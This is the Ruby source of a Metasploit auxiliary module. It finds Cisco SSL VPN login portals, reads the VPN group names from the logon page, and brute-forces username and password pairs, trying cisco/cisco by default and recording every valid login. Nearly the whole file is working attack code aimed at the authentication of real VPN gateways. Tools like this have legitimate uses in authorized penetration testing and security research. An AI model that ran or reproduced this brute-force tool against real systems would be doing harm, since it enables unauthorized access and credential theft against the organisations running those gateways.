metasploit-framework/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb

228 lines
5.9 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/http'
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'Cisco SSL VPN Bruteforce Login Utility',
'Description' => %{
This module scans for Cisco SSL VPN web login portals and
performs login brute force to identify valid credentials.
},
'Author' =>
[
'Jonathan Claudius <jclaudius[at]trustwave.com>'
],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'SSL' => true,
'USERNAME' => 'cisco',
'PASSWORD' => 'cisco'
}
))
register_options(
[
Opt::RPORT(443),
OptString.new('GROUP', [false, "A specific VPN group to use", ''])
], self.class)
end
def run_host(ip)
unless check_conn?
vprint_error("#{peer} - Connection failed, Aborting...")
return false
end
unless is_app_ssl_vpn?
vprint_error("#{peer} - Application does not appear to be Cisco SSL VPN. Module will not continue.")
return false
end
vprint_good("#{peer} - Application appears to be Cisco SSL VPN. Module will continue.")
groups = Set.new
if datastore['GROUP'].empty?
vprint_status("#{peer} - Attempt to Enumerate VPN Groups...")
groups = enumerate_vpn_groups
if groups.empty?
vprint_warning("#{peer} - Unable to enumerate groups")
vprint_warning("#{peer} - Using the default group: DefaultWEBVPNGroup")
groups << "DefaultWEBVPNGroup"
else
vprint_good("#{peer} - Enumerated VPN Groups: #{groups.to_a.join(", ")}")
end
else
groups << datastore['GROUP']
end
groups << ""
vprint_status("#{peer} - Starting login brute force...")
groups.each do |group|
each_user_pass do |user, pass|
do_login(user, pass, group)
end
end
end
# Verify whether the connection is working or not
def check_conn?
begin
res = send_request_cgi('uri' => '/', 'method' => 'GET')
vprint_good("#{peer} - Server is responsive...")
rescue ::Rex::ConnectionRefused,
::Rex::HostUnreachable,
::Rex::ConnectionTimeout,
::Rex::ConnectionError,
::Errno::EPIPE
return
end
end
def enumerate_vpn_groups
res = send_request_cgi(
'uri' => '/+CSCOE+/logon.html',
'method' => 'GET',
)
if res &&
res.code == 302
res = send_request_cgi(
'uri' => '/+CSCOE+/logon.html',
'method' => 'GET',
'vars_get' => { 'fcadbadd' => "1" }
)
end
groups = Set.new
group_name_regex = /<select id="group_list" name="group_list" style="z-index:1(?:; float:left;)?" onchange="updateLogonForm\(this\.value,{(.*)}/
if res &&
match = res.body.match(group_name_regex)
group_string = match[1]
groups = group_string.scan(/'([\w\-0-9]+)'/).flatten.to_set
end
return groups
end
# Verify whether we're working with SSL VPN or not
def is_app_ssl_vpn?
res = send_request_cgi(
'uri' => '/+CSCOE+/logon.html',
'method' => 'GET',
)
if res &&
res.code == 302
res = send_request_cgi(
'uri' => '/+CSCOE+/logon.html',
'method' => 'GET',
'vars_get' => { 'fcadbadd' => "1" }
)
end
if res &&
res.code == 200 &&
res.body.match(/webvpnlogin/)
return true
else
return false
end
end
def do_logout(cookie)
res = send_request_cgi(
'uri' => '/+webvpn+/webvpn_logout.html',
'method' => 'GET',
'cookie' => cookie
)
end
# Brute-force the login page
def do_login(user, pass, group)
vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect} and group:#{group.inspect}")
begin
cookie = "webvpn=; " +
"webvpnc=; " +
"webvpn_portal=; " +
"webvpnSharePoint=; " +
"webvpnlogin=1; " +
"webvpnLang=en;"
post_params = {
'tgroup' => '',
'next' => '',
'tgcookieset' => '',
'username' => user,
'password' => pass,
'Login' => 'Logon'
}
post_params['group_list'] = group unless group.empty?
resp = send_request_cgi(
'uri' => '/+webvpn+/index.html',
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => cookie,
'vars_post' => post_params
)
if resp &&
resp.code == 200 &&
resp.body.match(/SSL VPN Service/) &&
resp.body.match(/webvpn_logout/i)
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}:#{group.inspect}")
do_logout(resp.get_cookies)
report_hash = {
:host => rhost,
:port => rport,
:sname => 'Cisco SSL VPN',
:user => user,
:pass => pass,
:group => group,
:active => true,
:type => 'password'
}
report_auth_info(report_hash)
return :next_user
else
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}:#{group.inspect}")
end
rescue ::Rex::ConnectionRefused,
::Rex::HostUnreachable,
::Rex::ConnectionTimeout,
::Rex::ConnectionError,
::Errno::EPIPE
vprint_error("#{peer} - HTTP Connection Failed, Aborting")
return :abort
end
end
end